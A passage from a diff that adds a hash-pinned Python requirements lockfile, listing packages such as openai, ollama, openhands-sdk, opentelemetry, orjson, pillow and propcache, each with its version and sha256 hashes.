--hash=sha256:c6e99d9a65ca282e578dfea819cfa9c0a62b2499d8677392e09feaf305e9e6f5 \ + --hash=sha256:ca43bdfa5d37bd6aee89d85e1d0831fb86e25541be7e9d376ead1b28974f8e5e \ + --hash=sha256:caf53b15b1b7df9fbd0709aa01409000a2b4dd03a5f6f5cc548183c7c8f8b63c \ + --hash=sha256:cc41db090ed742f32bd2d2c721861725e6109681eddf835d0a82bd3a5c382827 \ + --hash=sha256:cd240939f71c64bd658f186330603aac1a9a81bf6273f523fca63673cb7378a8 \ + --hash=sha256:ce8fdc2dca699f8dbf055a61d73eaa10482569ad20ee3c36ef9641f69afa8c91 \ + --hash=sha256:d1bed1b467ef657f2a0ae62844a607909ef1c6889562de5e1d505f74457d0b96 \ + --hash=sha256:d1d964afecdf3a8288789df2f5751dc0a8261138c3768d9af117ed384e538fad \ + --hash=sha256:d4393e3581e84e5645506923816b9cc81f5609a778c7e7534054091acc64d1c6 \ + --hash=sha256:d874eb056410ca05fed180b6642e680373688efafc7f077b2a2f61811e873a40 \ + --hash=sha256:db99677b4457c7a5c5a949353e125ba72d62b35f74e26da141530fbb012218a7 \ + --hash=sha256:dd32a49400a2c3d52088e120ee00c1e3576cbff7e10b98467962c74fdb762ed4 \ + --hash=sha256:df0e3bf7993bdbeca5ac25aa859cf40d39019e015c9c91809ba7093967f7a648 \ + --hash=sha256:e011555abada53f1578d63389610ac8a5400fc70ce71156b0aa30d326f1a5064 \ + --hash=sha256:e2862408c99f84aa571ab462d25236ef9cb12a602ea959ba9c9009a54902fc73 \ + --hash=sha256:e3aa16de190d29a0ea1b48253c57d99a68492c8dd8948638073ab9e74dc9410b \ + --hash=sha256:e93a0617cd16998784bf4414c7e40f17a35d2350e5c6f0bd900d3a8e02bd3762 \ + --hash=sha256:ea3334cabe4d41b7ccd01e4d349828678794edbc2d3ae97fc162a3312095092e \ + --hash=sha256:eb866162ef2f45063acc7a53a88ef6fe8bf121d45c30ea3c9cd87ce7e191a8d4 \ + --hash=sha256:ec81878ddf0e98817def1e77d4f50dae5ef5b0e4fe796fae3bd674304172416e \ + --hash=sha256:efbb54e98446892590dc2458c19c10344ee9a883a79b5cec4bc34d6656e8d546 \ + --hash=sha256:f0e77e3c0008bc9316e662624535b88d360c3a5d3f81e15cf12c139a75250046 \ + --hash=sha256:f0feece2ef8ebc42ed9e2e8c78fc4aa3cf455733b507c09ef7406364c94376c6 \ + --hash=sha256:f470f68adc395e0183b92a2f4689264d1ea4b40504a24d9882c27375e6662bb9 \ + --hash=sha256:f844a1bbf1d207dd311a56f383f7eda2d0e134921d45751842d8235e7778965d \ + --hash=sha256:f8a93b1c0ed2d04b97a5e9336fd2d33371b9a6e29ab7dd6503d63407c20ffbaf \ + --hash=sha256:f8e5c0031b90ca9ce555e2e8fd5c3b02a25f14989cbc310701823832c99eb687 \ + --hash=sha256:fb287618b9c7aa3bf8d825f02d9201b2f13078a5ed3b293c8f4d953917d84d5e \ + --hash=sha256:fbafe31d191dfa7c4c51f7a6149c9fb7e914dcf9ffead27dcfd9f1ae382b3885 \ + --hash=sha256:fbd18dc82d7bf274b37aa48d664534330af744e03bccf696d6f4c6042e7d19e7 +oauthlib==3.3.1 \ + --hash=sha256:0f0f8aa759826a193cf66c12ea1af1637f87b9b4622d46e866952bb022e538c9 \ + --hash=sha256:88119c938d2b8fb88561af5f6ee0eec8cc8d552b7bb1f712743136eb7523b7a1 +ollama==0.6.0 \ + --hash=sha256:534511b3ccea2dff419ae06c3b58d7f217c55be7897c8ce5868dfb6b219cf7a0 \ + --hash=sha256:da2b2d846b5944cfbcee1ca1e6ee0585f6c9d45a2fe9467cbcd096a37383da2f +openai==2.33.0 \ + --hash=sha256:03ac37d70e8c9e3a8124214e3afa785e2cbc12e627fbd98177a086ef2fd87ad5 \ + --hash=sha256:f850c435e2a4685bba3295bd54912dd26315d9c1b7733068186134d6e0599f9a +openapi-pydantic==0.5.1 \ + --hash=sha256:a3a09ef4586f5bd760a8df7f43028b60cafb6d9f61de2acba9574766255ab146 \ + --hash=sha256:ff6835af6bde7a459fb93eb93bb92b8749b754fc6e51b2f1590a19dc3005ee0d +openhands-sdk @ https://files.pythonhosted.org/packages/eb/5a/359d6a4b892fccd4915879d3145d77735b0e5614eee7db7b2a11ae99a843/openhands_sdk-1.50.0-py3-none-any.whl \ + --hash=sha256:441ea190fb0af2253bf431650f209fedfbb9eb7c41cf35440a0548296d4b0faa +openhands-tools @ https://files.pythonhosted.org/packages/97/b2/61c9b0029d46de429890527f47c1809f6badc1c386bfcb4dd17286166108/openhands_tools-1.50.0-py3-none-any.whl \ + --hash=sha256:b237043c892111624fdc1fe98e0d29f772ae1f614b487866d926775167c9635e +opentelemetry-api==1.39.1 \ + --hash=sha256:2edd8463432a7f8443edce90972169b195e7d6a05500cd29e6d13898187c9950 \ + --hash=sha256:fbde8c80e1b937a2c61f20347e91c0c18a1940cecf012d62e65a7caf08967c9c +opentelemetry-exporter-otlp-proto-common==1.39.1 \ + --hash=sha256:08f8a5862d64cc3435105686d0216c1365dc5701f86844a8cd56597d0c764fde \ + --hash=sha256:763370d4737a59741c89a67b50f9e39271639ee4afc999dadfe768541c027464 +opentelemetry-exporter-otlp-proto-grpc==1.39.1 \ + --hash=sha256:772eb1c9287485d625e4dbe9c879898e5253fea111d9181140f51291b5fec3ad \ + --hash=sha256:fa1c136a05c7e9b4c09f739469cbdb927ea20b34088ab1d959a849b5cc589c18 +opentelemetry-exporter-otlp-proto-http==1.39.1 \ + --hash=sha256:31bdab9745c709ce90a49a0624c2bd445d31a28ba34275951a6a362d16a0b9cb \ + --hash=sha256:d9f5207183dd752a412c4cd564ca8875ececba13be6e9c6c370ffb752fd59985 +opentelemetry-instrumentation==0.60b1 \ + --hash=sha256:04480db952b48fb1ed0073f822f0ee26012b7be7c3eac1a3793122737c78632d \ + --hash=sha256:57ddc7974c6eb35865af0426d1a17132b88b2ed8586897fee187fd5b8944bd6a +opentelemetry-instrumentation-threading==0.60b1 \ + --hash=sha256:20b18a68abe5801fa9474336b7c27487d4af3e00b66f6a8734e4fdd75c8b0b43 \ + --hash=sha256:92a52a60fee5e32bc6aa8f5acd749b15691ad0bc4457a310f5736b76a6d9d1de +opentelemetry-proto==1.39.1 \ + --hash=sha256:22cdc78efd3b3765d09e68bfbd010d4fc254c9818afd0b6b423387d9dee46007 \ + --hash=sha256:6c8e05144fc0d3ed4d22c2289c6b126e03bcd0e6a7da0f16cedd2e1c2772e2c8 +opentelemetry-sdk==1.39.1 \ + --hash=sha256:4d5482c478513ecb0a5d938dcc61394e647066e0cc2676bee9f3af3f3f45f01c \ + --hash=sha256:cf4d4563caf7bff906c9f7967e2be22d0d6b349b908be0d90fb21c8e9c995cc6 +opentelemetry-semantic-conventions==0.60b1 \ + --hash=sha256:87c228b5a0669b748c76d76df6c364c369c28f1c465e50f661e39737e84bc953 \ + --hash=sha256:9fa8c8b0c110da289809292b0591220d3a7b53c1526a23021e977d68597893fb +opentelemetry-semantic-conventions-ai==0.4.13 \ + --hash=sha256:883a30a6bb5deaec0d646912b5f9f6dcbb9f6f72557b73d0f2560bf25d13e2d5 \ + --hash=sha256:94efa9fb4ffac18c45f54a3a338ffeb7eedb7e1bb4d147786e77202e159f0036 +orjson==3.11.7 \ + --hash=sha256:043d3006b7d32c7e233b8cfb1f01c651013ea079e08dcef7189a29abd8befe11 \ + --hash=sha256:0527a4510c300e3b406591b0ba69b5dc50031895b0a93743526a3fc45f59d26e \ + --hash=sha256:0724e265bc548af1dedebd9cb3d24b4e1c1e685a343be43e87ba922a5c5fff2f \ + --hash=sha256:136dcd6a2e796dfd9ffca9fc027d778567b0b7c9968d092842d3c323cef88aa8 \ + --hash=sha256:14f440c7268c8f8633d1b3d443a434bd70cb15686117ea6beff8fdc8f5917a1e \ + --hash=sha256:1d98b30cc1313d52d4af17d9c3d307b08389752ec5f2e5febdfada70b0f8c733 \ + --hash=sha256:1eb80451a9c351a71dfaf5b7ccc13ad065405217726b59fdbeadbcc544f9d223 \ + --hash=sha256:1ee5cc7160a821dfe14f130bc8e63e7611051f964b463d9e2a3a573204446a4d \ + --hash=sha256:23d6c20517a97a9daf1d48b580fcdc6f0516c6f4b5038823426033690b4d2650 \ + --hash=sha256:26c3b9132f783b7d7903bf1efb095fed8d4a3a85ec0d334ee8beff3d7a4749d5 \ + --hash=sha256:31c80ce534ac4ea3739c5ee751270646cbc46e45aea7576a38ffec040b4029a1 \ + --hash=sha256:3726be79e36e526e3d9c1aceaadbfb4a04ee80a72ab47b3f3c17fefb9812e7b8 \ + --hash=sha256:390a1dce0c055ddf8adb6aa94a73b45a4a7d7177b5c584b8d1c1947f2ba60fb3 \ + --hash=sha256:3a2479753bbb95b0ebcf7969f562cdb9668e6d12416a35b0dda79febf89cdea2 \ + --hash=sha256:3c4bc6c6ac52cdaa267552544c73e486fecbd710b7ac09bc024d5a78555a22f6 \ + --hash=sha256:411ebaf34d735e25e358a6d9e7978954a9c9d58cfb47bc6683cdc3964cd2f910 \ + --hash=sha256:4682d1db3bcebd2b64757e0ddf9e87ae5f00d29d16c5cdf3a62f561d08cc3dd2 \ + --hash=sha256:4a2e9c5be347b937a2e0203866f12bba36082e89b402ddb9e927d5822e43088d \ + --hash=sha256:57036b27ac8a25d81112eb0cc9835cd4833c5b16e1467816adc0015f59e870dc \ + --hash=sha256:5ede977b5fe5ac91b1dffc0a517ca4542d2ec8a6a4ff7b2652d94f640796342a \ + --hash=sha256:5fdfad2093bdd08245f2e204d977facd5f871c88c4a71230d5bcbd0e43bf6222 \ + --hash=sha256:623ad1b9548ef63886319c16fa317848e465a21513b31a6ad7b57443c3e0dcf5 \ + --hash=sha256:652c6c3af76716f4a9c290371ba2e390ede06f6603edb277b481daf37f6f464e \ + --hash=sha256:6543001328aa857187f905308a028935864aefe9968af3848401b6fe80dbb471 \ + --hash=sha256:6e776b998ac37c0396093d10290e60283f59cfe0fc3fccbd0ccc4bd04dd19892 \ + --hash=sha256:71924496986275a737f38e3f22b4e0878882b3f7a310d2ff4dc96e812789120c \ + --hash=sha256:733ae23ada68b804b222c44affed76b39e30806d38660bf1eb200520d259cc16 \ + --hash=sha256:7477aa6a6ec6139c5cb1cc7b214643592169a5494d200397c7fc95d740d5fcf3 \ + --hash=sha256:79cacb0b52f6004caf92405a7e1f11e6e2de8bdf9019e4f76b44ba045125cd6b \ + --hash=sha256:7ba61079379b0ae29e117db13bda5f28d939766e410d321ec1624afc6a0b0504 \ + --hash=sha256:800988273a014a0541483dc81021247d7eacb0c845a9d1a34a422bc718f41539 \ + --hash=sha256:814be4b49b228cfc0b3c565acf642dd7d13538f966e3ccde61f4f55be3e20785 \ + --hash=sha256:845c3e0d8ded9c9271cd79596b9b552448b885b97110f628fb687aee2eed11c1 \ + --hash=sha256:849e38203e5be40b776ed2718e587faf204d184fc9a008ae441f9442320c0cab \ + --hash=sha256:89e13dd3f89f1c38a9c9eba5fbf7cdc2d1feca82f5f290864b4b7a6aac704576 \ + --hash=sha256:89e440ebc74ce8ab5c7bc4ce6757b4a6b1041becb127df818f6997b5c71aa60b \ + --hash=sha256:8ff206156006da5b847c9304b6308a01e8cdbc8cce824e2779a5ba71c3def141 \ + --hash=sha256:91c81ef070c8f3220054115e1ef468b1c9ce8497b4e526cb9f68ab4dc0a7ac62 \ + --hash=sha256:9487abc2c2086e7c8eb9a211d2ce8855bae0e92586279d0d27b341d5ad76c85c \ + --hash=sha256:962d046ee1765f74a1da723f4b33e3b228fe3a48bd307acce5021dfefe0e29b2 \ + --hash=sha256:996b65230271f1a97026fd0e6a753f51fbc0c335d2ad0c6201f711b0da32693b \ + --hash=sha256:9b1a67243945819ce55d24a30b59d6a168e86220452d2c96f4d1f093e71c0c49 \ + --hash=sha256:9c0b51672e466fd7e56230ffbae7f1639e18d0ce023351fb75da21b71bc2c960 \ + --hash=sha256:9e54f3808e2b6b945078c41aa8d9b5834b28c50843846e97807e5adb75fa9705 \ + --hash=sha256:a02c833f38f36546ba65a452127633afce4cf0dd7296b753d3bb54e55e5c0174 \ + --hash=sha256:a12b80df61aab7b98b490fe9e4879925ba666fccdfcd175252ce4d9035865ace \ + --hash=sha256:a16bcd08ab0bcdfc7e8801d9c4a9cc17e58418e4d48ddc6ded4e9e4b1a94062b \ + --hash=sha256:a56df3239294ea5964adf074c54bcc4f0ccd21636049a2cf3ca9cf03b5d03cf1 \ + --hash=sha256:a709e881723c9b18acddcfb8ba357322491ad553e277cf467e1e7e20e2d90561 \ + --hash=sha256:ab49d4b2a6a1d415ddb9f37a21e02e0d5dbfe10b7870b21bf779fc21e9156157 \ + --hash=sha256:ae9e0b37a834cef7ce8f99de6498f8fad4a2c0bf6bfc3d02abd8ed56aa15b2de \ + --hash=sha256:b4a9eefdc70bf8bf9857f0290f973dec534ac84c35cd6a7f4083be43e7170a8f \ + --hash=sha256:b63c6e6738d7c3470ad01601e23376aa511e50e1f3931395b9f9c722406d1a67 \ + --hash=sha256:b7b1dae39230a393df353827c855a5f176271c23434cfd2db74e0e424e693e10 \ + --hash=sha256:b8d14b71c0b12963fe8a62aac87119f1afdf4cb88a400f61ca5ae581449efcb5 \ + --hash=sha256:b9f95dcdea9d4f805daa9ddf02617a89e484c6985fa03055459f90e87d7a0757 \ + --hash=sha256:b9fc4d0f81f394689e0814617aadc4f2ea0e8025f38c226cbf22d3b5ddbf025d \ + --hash=sha256:bd03ea7606833655048dab1a00734a2875e3e86c276e1d772b2a02556f0d895f \ + --hash=sha256:bd0d68edd7dfca1b2eca9361a44ac9f24b078de3481003159929a0573f21a6bf \ + --hash=sha256:bda117c4148e81f746655d5a3239ae9bd00cb7bc3ca178b5fc5a5997e9744183 \ + --hash=sha256:bf742e149121dc5648ba0a08ea0871e87b660467ef168a3a5e53bc1fbd64bb74 \ + --hash=sha256:c2428d358d85e8da9d37cba18b8c4047c55222007a84f97156a5b22028dfbfc0 \ + --hash=sha256:c2e85fe4698b6a56d5e2ebf7ae87544d668eb6bde1ad1226c13f44663f20ec9e \ + --hash=sha256:c43b8b5bab288b6b90dac410cca7e986a4fa747a2e8f94615aea407da706980d \ + --hash=sha256:cededd6738e1c153530793998e31c05086582b08315db48ab66649768f326baa \ + --hash=sha256:d06e5c5fed5caedd2e540d62e5b1c25e8c82431b9e577c33537e5fa4aa909539 \ + --hash=sha256:d772afdb22555f0c58cfc741bdae44180122b3616faa1ecadb595cd526e4c993 \ + --hash=sha256:d897e81f8d0cbd2abb82226d1860ad2e1ab3ff16d7b08c96ca00df9d45409ef4 \ + --hash=sha256:de0a37f21d0d364954ad5de1970491d7fbd0fb1ef7417d4d56a36dc01ba0c0a0 \ + --hash=sha256:e7745312efa9e11c17fbd3cb3097262d079da26930ae9ae7ba28fb738367cbad \ + --hash=sha256:ed46f17096e28fb28d2975834836a639af7278aa87c84f68ab08fbe5b8bd75fa \ + --hash=sha256:f4f7c956b5215d949a1f65334cf9d7612dde38f20a95f2315deef167def91a6f \ + --hash=sha256:f50979824bde13d32b4320eedd513431c921102796d86be3eee0b58e58a3ecd1 \ + --hash=sha256:f904c24bdeabd4298f7a977ef14ca2a022ca921ed670b92ecd16ab6f3d01f867 +packaging==26.3 \ + --hash=sha256:94edc256424af38762eb31306eed28beb9f0efc50a8837492c9d6fd6004aed79 \ + --hash=sha256:d7193f7c8e4e93f444fde0262bf90af30e16fa0ad0ad44cb553c87339b23cd1c +pathable==0.4.4 \ + --hash=sha256:5ae9e94793b6ef5a4cbe0a7ce9dbbefc1eec38df253763fd0aeeacf2762dbbc2 \ + --hash=sha256:6905a3cd17804edfac7875b5f6c9142a218c7caef78693c2dbbbfbac186d88b2 +pfzy==0.3.4 \ + --hash=sha256:5f50d5b2b3207fa72e7ec0ef08372ef652685470974a107d0d4999fc5a903a96 \ + --hash=sha256:717ea765dd10b63618e7298b2d98efd819e0b30cd5905c9707223dceeb94b3f1 +pillow==12.3.0 \ + --hash=sha256:00808c5e14ef63ac5161091d242999076604ff74b883423a11e5d7bbb38bf756 \ + --hash=sha256:04f01d28a6aaff387bf842a13be313df23ba0597a44f1a976c9feb3c6ff4711a \ + --hash=sha256:06ff022112bc9cbf83b60f8e028d94ad87b60621706487e65f673de61610ab59 \ + --hash=sha256:0740a512dc522224c77d9aa5a8d70d8b7d73fb91f2c21125d8d025d3b8990e45 \ + --hash=sha256:0847a763afefb695bc912d7c131e7e0632d4edc1d8698f58ddabec8e46b8b6d3 \ + --hash=sha256:0dd2064cbc55aaec028ef5fbb60fa47bb6c3e7918e07ff17935284b227a9d2df \ + --hash=sha256:0feb2e9d6ad6c9e3c06effe9d00f3f1e618a6643273576b016f591e9315a7139 \ + --hash=sha256:10e41f0fbf1eec8cfd234b8fe17a4caac7c9d0db4c204d3c173a8f9f6ef3232b \ + --hash=sha256:1182d52bc2d5e5d7d0949503aa7e36d12f42205dc287e4883f407b1988820d39 \ + --hash=sha256:164b31cd1a0490ab6efae01aa5df49da7061be0af1b30e035b6e9a1bfe34ee6e \ + --hash=sha256:1657923d2d45afb66526e5b933e5b3052e6bdea196c90d3abb2424e18c77dae8 \ + --hash=sha256:186941b6aef820ad110fb01fb06eb925374dc3a21b17e37ec9a53b250c6fe2d1 \ + --hash=sha256:1cca606cd25738df4ed873d5ad46bbdb3d83b5cbca291f6b4ff13a4df6b0bbe8 \ + --hash=sha256:21900ce7ba264168cd50defae43cd75d25c833ad4ad6e73ffc5596d12e25ac89 \ + --hash=sha256:236ff70b9312fb68943c703aa842ca6a758abfa45ac187a5e7c1452e96ef72b5 \ + --hash=sha256:23aceaa007d6172b02c277f0cd359c79492bbb14f7072b4ede9fbcaf20648130 \ + --hash=sha256:23d27a3e0307ec2244cc51e7287b919aa68d097504ebe19df4e76a98a3eea5bd \ + --hash=sha256:24870b09b224f7ae3c39ed07d10e819d06f8720bc551847b1d623832b5b0e28d \ + --hash=sha256:251bf95b67017e27b13d82f5b326234ca62d70f9cf4c2b9032de2358a3b12c7b \ + --hash=sha256:25b9b82bb22e6e2b3cd07b39c68b7b862001226cb3dff7130d1cb914121b39ed \ + --hash=sha256:28ce87c5ab450a9dd970b52e5aca5fe63ed432d18a2eaddd1979a00a1ba24ace \ + --hash=sha256:300557495eb45ebb8aec96c2da9c4be642fbf7cd937278b4013ba894ea8eb0eb \ + --hash=sha256:30f2aa603c41533cc25c05acd0da21636e84a315768feb631c937177db558931 \ + --hash=sha256:331b624368d4f1d069149002f25f44bc61c8919ce8ddb3c45bdad8f6e2d89510 \ + --hash=sha256:37d6d0a00072fd2948eb22bce7e1475f34569d90c87c59f7a2ec59541b77f7a6 \ + --hash=sha256:37dc8f7bbb66efe481bb60defacef820c950c24713fb44962ed6aa2a50966de1 \ + --hash=sha256:3b8182a766685eaa002637e28b4ec8d6b18819a0c71f579bf0dbaa5830297cce \ + --hash=sha256:3edce1d53195db527e0191f84b71d02022de0540bf43a16ed734ed7537b07385 \ + --hash=sha256:446c34dcc4324b084a53b705127dc15717b22c5e140ae0a3c38349d4efec071e \ + --hash=sha256:4998562bf62a445225f22e07c896bb04b35b1b1f2eb6d760584c9c51d7a5f78c \ + --hash=sha256:4b0a7fe987b14c31ebda6083f74f22b561fd3739bc0ac51e019622e3d72668c7 \ + --hash=sha256:4e8c2a84d977f50b9daed6eeaf3baef67d00d5d74d932288f02cb94518ee3ace \ + --hash=sha256:4f883547d4b7f0495ebe7056b0cc2aea76094e7a4abc8e933540f3271df27d9c \ + --hash=sha256:514435a37670e3e5e08f3945b68718b6ed329bb84367777e16f9f4dfe1e61a0f \ + --hash=sha256:53aa02d20d10c3d814d536aa4e5ac9b84ca0ff5a88377963b085ad6822f93e64 \ + --hash=sha256:5594fc43d548a7ed94949d139aa1341b270f1863f11cfd37f5a6c8b778a6b67f \ + --hash=sha256:571b9fcb07b97ef3a492028fb3d2dc0993ca23a06138b0315286566d29ef718a \ + --hash=sha256:57b3d78c95ba9059768b10e28b813002261d3f3dfc55cc48b0c988f625175827 \ + --hash=sha256:5afb51d599ea772b8365ae807ae557f18bccfe46ab261fd1c2a9ed700fc6eb17 \ + --hash=sha256:6b02afb9b97f65fbca5f31db6a2a3ba21aa93030225f150fa3f249717e938fb4 \ + --hash=sha256:6c0016e7b354317c4e9e525b937ac8596c38d2d232b419529b9cd7a1cd46e39a \ + --hash=sha256:71d6097b330eea8fd15097780c8e89cb1a8ce7838669f48c5bacd6f663dd4701 \ + --hash=sha256:756c768d0c9c2955feb7a56c37ea24aea2e369f8d36a88da270b6a9f19e62b5e \ + --hash=sha256:78cb2c6865a35ab8ff8b75fd122f6033b92a62c82801110e48ddd6c936a45d91 \ + --hash=sha256:7a743ff716f746fc19a9557f60dab1600d4613255f8a7aeb3cdde4db7eb15a66 \ + --hash=sha256:85f998ea1848bc6757289e739cfbdda3a04adfd58b02fc018ce54d754a5ce468 \ + --hash=sha256:8728f216dcdb6e6d555cf971cb34076139ad74b31fc2c14da4fafc741c5f6217 \ + --hash=sha256:877c3f311ff35410f690861c4409e7ccbf0cd2f878e50628a28e5a0bb689e658 \ + --hash=sha256:8cd2f7bdda092d99c9fc2fb7391354f306d01443d22785d0cbfafa2e2c8bb418 \ + --hash=sha256:8e95e1385e4998ae9694eeaa4730ba5457ff61185b3a55e2e7bea0880aef452a \ + --hash=sha256:962864dc93511324d51ddbb5b9f8731bf71675b93ca612a07441896f4688fb8c \ + --hash=sha256:9cf95fe4d0f84c82d282745d9bb08ad9f926efa00be4697e767b814ce40d4330 \ + --hash=sha256:9e881fca225083806662a5c43d627d215f258ff43c890f831966c7d7ba9c7402 \ + --hash=sha256:a2b55dd6b2a4c4b7d87ffa56bdb33fdc5fdb9a462173861a7bc097f17d91cb09 \ + --hash=sha256:a45650e8ce7fafffd731db8550230db6b0d306d181a90b67d3e6bca2f1990930 \ + --hash=sha256:a876864214e136f0eb367788dbd7df045f4806801518e2cfe9e13229cfe06d8f \ + --hash=sha256:ae26d61dfa7a47befdc7572b521024e8745f3d809bd95ca9505a7bba9ef849ec \ + --hash=sha256:af8d94b0db561cf68b88a267c5c44b49e134f525d0dc2cb7ed413a66bc23559a \ + --hash=sha256:b343699e8308bdc51978310e1c959c584e7869cc8c40780058c87da7781a1e94 \ + --hash=sha256:b3c777e849237620b022f7f297dd67705f9f5cf1685f09f02e46f93e92725468 \ + --hash=sha256:b629de27fda84b42cde7edef0d85f13b958b47f6e9bbcbba9b673c562a89bd8b \ + --hash=sha256:ba09209fbe443b4acccebe845d8a138b89a8f4fbaeedd44953490b5315d5e965 \ + --hash=sha256:ba54cfebe86920a559a7c4d6b9050791c20513650a1952ebe3368c7dc70306f8 \ + --hash=sha256:bcb46e2f9feff8d06323983bd83ed00c201fdcab3d74973e7072a889b3979fcd \ + --hash=sha256:bcc33feacfaefce60c12fd500a277533bdc02b10a19f7f6d348763d8140bbba7 \ + --hash=sha256:bf16ba1b4d0b6b7c8e534936632270cf70eb00dbe09005bc345b2677b726855c \ + --hash=sha256:cf1845d02ad822a369a49f2bb9345b1614744267682e7a03527dc3bf6eea1777 \ + --hash=sha256:d69141514cc30b774ceea5e3ed3a6635c8d8a96edf664689b890f4089111fb35 \ + --hash=sha256:d9c7f76c0673154f044e9d78c8655fb4213f6ca31a836df48b40fe5d187717b9 \ + --hash=sha256:dbce0b29841537a2fa4a214c2bbf14de3587c9680caa9b4e217568472490b28f \ + --hash=sha256:dc624f6bc473dacdf7ef7eb8678d0d08edf15cd94fad6ae5c7d6cc67a4e4902f \ + --hash=sha256:e158cb00350dc278f3b91551101aa7d12415a66ebf2c91d8d5ac14e56ddd3ad0 \ + --hash=sha256:e491916b378fba47242221bb9ead245211b70d504f495d105d17b14a24b4907c \ + --hash=sha256:e795b7eb908249c4e43c7c99fac7c2c75dab0c43566e37db472a355f63693d71 \ + --hash=sha256:e7e480451b9fa137494bccd3a7d69adbe8ac65a87d97be61e11f1b1050a5bac3 \ + --hash=sha256:e91206ee562682b51b98ef4b26a6ef48fd84e15fd4c4bc5ec768eb641d206838 \ + --hash=sha256:e9871b1ffbfa9656b60aeee92ed5136a5742696006fa322b29ea3d8da0ecc9cf \ + --hash=sha256:e9aeb04d6aef139de265b29683e119b638208f88cf73cdd1658aa07221165321 \ + --hash=sha256:ebaea975e03d3141d9d3a507df75c9b3ec90fa9d2ffd07567b3a978d9d790b26 \ + --hash=sha256:f0606c8bf2cdefea14a43530f7657cbbb7ecf1c4222512492ef4a4434a9501ec \ + --hash=sha256:f13c32a3abd6079a66d9526e18dad9b6d280384d49d7c54040cd57b6424041d9 \ + --hash=sha256:f7401aebd7f581d7f83a439d87d474999317ee099218e5ad25d125290990ba65 \ + --hash=sha256:fa4ecea169a355be7a3ade2c783e2ed12f0e40d2c5621cda8b3297faf7fbb9f5 \ + --hash=sha256:fbd139c8447d25dd750ab79ee274cc5e1fe80fc56340ab10b18a195e1b6eca3e \ + --hash=sha256:fdafc9cce40277e0f7a0feabce0ee50dd2fa1800f3b38015e51296b5e814048d \ + --hash=sha256:fe3cca2e4e8a592be0f269a1ca4835c25199d9f3ce815c8491048f785b0a0198 \ + --hash=sha256:ffd0c5368496f41b0944be820fcb7a838aa6e623d250b01acf2643939c3f99d7 +platformdirs==4.4.0 \ + --hash=sha256:abd01743f24e5287cd7a5db3752faf1a2d65353f38ec26d98e25a6db65958c85 \ + --hash=sha256:ca753cf4d81dc309bc67b0ea38fd15dc97bc30ce419a7f58d13eb3bf14c4febf +portalocker==2.10.1 \ + --hash=sha256:53a5984ebc86a025552264b459b46a2086e269b21823cb572f8f28ee759e45bf \ + --hash=sha256:ef1bf844e878ab08aee7e40184156e1151f228f103aa5c6bd0724cc330960f8f +posthog==6.7.7 \ + --hash=sha256:bf8187ce8e6da33d5c122ee03a759efa8f181630380260526294454dab0c8bab \ + --hash=sha256:ffb7bac388f66e5c9e2e3d6028572386ad3c98bba7a9a4669db05b10ac23357a +prompt-toolkit==3.0.52 \ + --hash=sha256:28cde192929c8e7321de85de1ddbe736f1375148b02f2e17edd840042b1be855 \ + --hash=sha256:9aac639a3bbd33284347de5ad8d68ecc044b91a762dc39b7c21095fcd6a19955 +propcache==0.4.1 \ + --hash=sha256:0002004213ee1f36cfb3f9a42b5066100c44276b9b72b4e1504cddd3d692e86e \ + --hash=sha256:0013cb6f8dde4b2a2f66903b8ba740bdfe378c943c4377a200551ceb27f379e4 \ + --hash=sha256:005f08e6a0529984491e37d8dbc3dd86f84bd78a8ceb5fa9a021f4c48d4984be \ + --hash=sha256:031dce78b9dc099f4c29785d9cf5577a3faf9ebf74ecbd3c856a7b92768c3df3 \ + --hash=sha256:05674a162469f31358c30bcaa8883cb7829fa3110bf9c0991fe27d7896c42d85 \ + --hash=sha256:060b16ae65bc098da7f6d25bf359f1f31f688384858204fe5d652979e0015e5b \ + --hash=sha256:120c964da3fdc75e3731aa392527136d4ad35868cc556fd09bb6d09172d9a367 \ + --hash=sha256:15932ab57837c3368b024473a525e25d316d8353016e7cc0e5ba9eb343fbb1cf \ + --hash=sha256:17612831fda0138059cc5546f4d12a2aacfb9e47068c06af35c400ba58ba7393 \ + --hash=sha256:182b51b421f0501952d938dc0b0eb45246a5b5153c50d42b495ad5fb7517c888 \ + --hash=sha256:1cdb7988c4e5ac7f6d175a28a9aa0c94cb6f2ebe52756a3c0cda98d2809a9e37 \ + --hash=sha256:1eb2994229cc8ce7fe9b3db88f5465f5fd8651672840b2e426b88cdb1a30aac8 \ + --hash=sha256:1f0978529a418ebd1f49dad413a2b68af33f85d5c5ca5c6ca2a3bed375a7ac60 \ + --hash=sha256:204483131fb222bdaaeeea9f9e6c6ed0cac32731f75dfc1d4a567fc1926477c1 \ + --hash=sha256:296f4c8ed03ca7476813fe666c9ea97869a8d7aec972618671b33a38a5182ef4 \ + --hash=sha256:2ad890caa1d928c7c2965b48f3a3815c853180831d0e5503d35cf00c472f4717 \ + --hash=sha256:2b16ec437a8c8a965ecf95739448dd938b5c7f56e67ea009f4300d8df05f32b7 \ + --hash=sha256:2bb07ffd7eaad486576430c89f9b215f9e4be68c4866a96e97db9e97fead85dc \ + --hash=sha256:333ddb9031d2704a301ee3e506dc46b1fe5f294ec198ed6435ad5b6a085facfe \ + --hash=sha256:357f5bb5c377a82e105e44bd3d52ba22b616f7b9773714bff93573988ef0a5fb \ + --hash=sha256:35c3277624a080cc6ec6f847cbbbb5b49affa3598c4535a0a4682a697aaa5c75 \ + --hash=sha256:364426a62660f3f699949ac8c621aad6977be7126c5807ce48c0aeb8e7333ea6 \ + --hash=sha256:381914df18634f5494334d201e98245c0596067504b9372d8cf93f4bb23e025e \ + --hash=sha256:3d233076ccf9e450c8b3bc6720af226b898ef5d051a2d145f7d765e6e9f9bcff \ + --hash=sha256:3d902a36df4e5989763425a8ab9e98cd8ad5c52c823b34ee7ef307fd50582566 \ + --hash=sha256:3f7124c9d820ba5548d431afb4632301acf965db49e666aa21c305cbe8c6de12 \ + --hash=sha256:405aac25c6394ef275dee4c709be43745d36674b223ba4eb7144bf4d691b7367 \ + --hash=sha256:41a89040cb10bd345b3c1a873b2bf36413d48da1def52f268a055f7398514874 \ + --hash=sha256:43eedf29202c08550aac1d14e0ee619b0430aaef78f85864c1a892294fbc28cf \ + --hash=sha256:473c61b39e1460d386479b9b2f337da492042447c9b685f28be4f74d3529e566 \ + --hash=sha256:49a2dc67c154db2c1463013594c458881a069fcf98940e61a0569016a583020a \ + --hash=sha256:4b536b39c5199b96fc6245eb5fb796c497381d3942f169e44e8e392b29c9ebcc \ + --hash=sha256:4c3c70630930447f9ef1caac7728c8ad1c56bc5015338b20fed0d08ea2480b3a \ + --hash=sha256:4d3df5fa7e36b3225954fba85589da77a0fe6a53e3976de39caf04a0db4c36f1 \ + 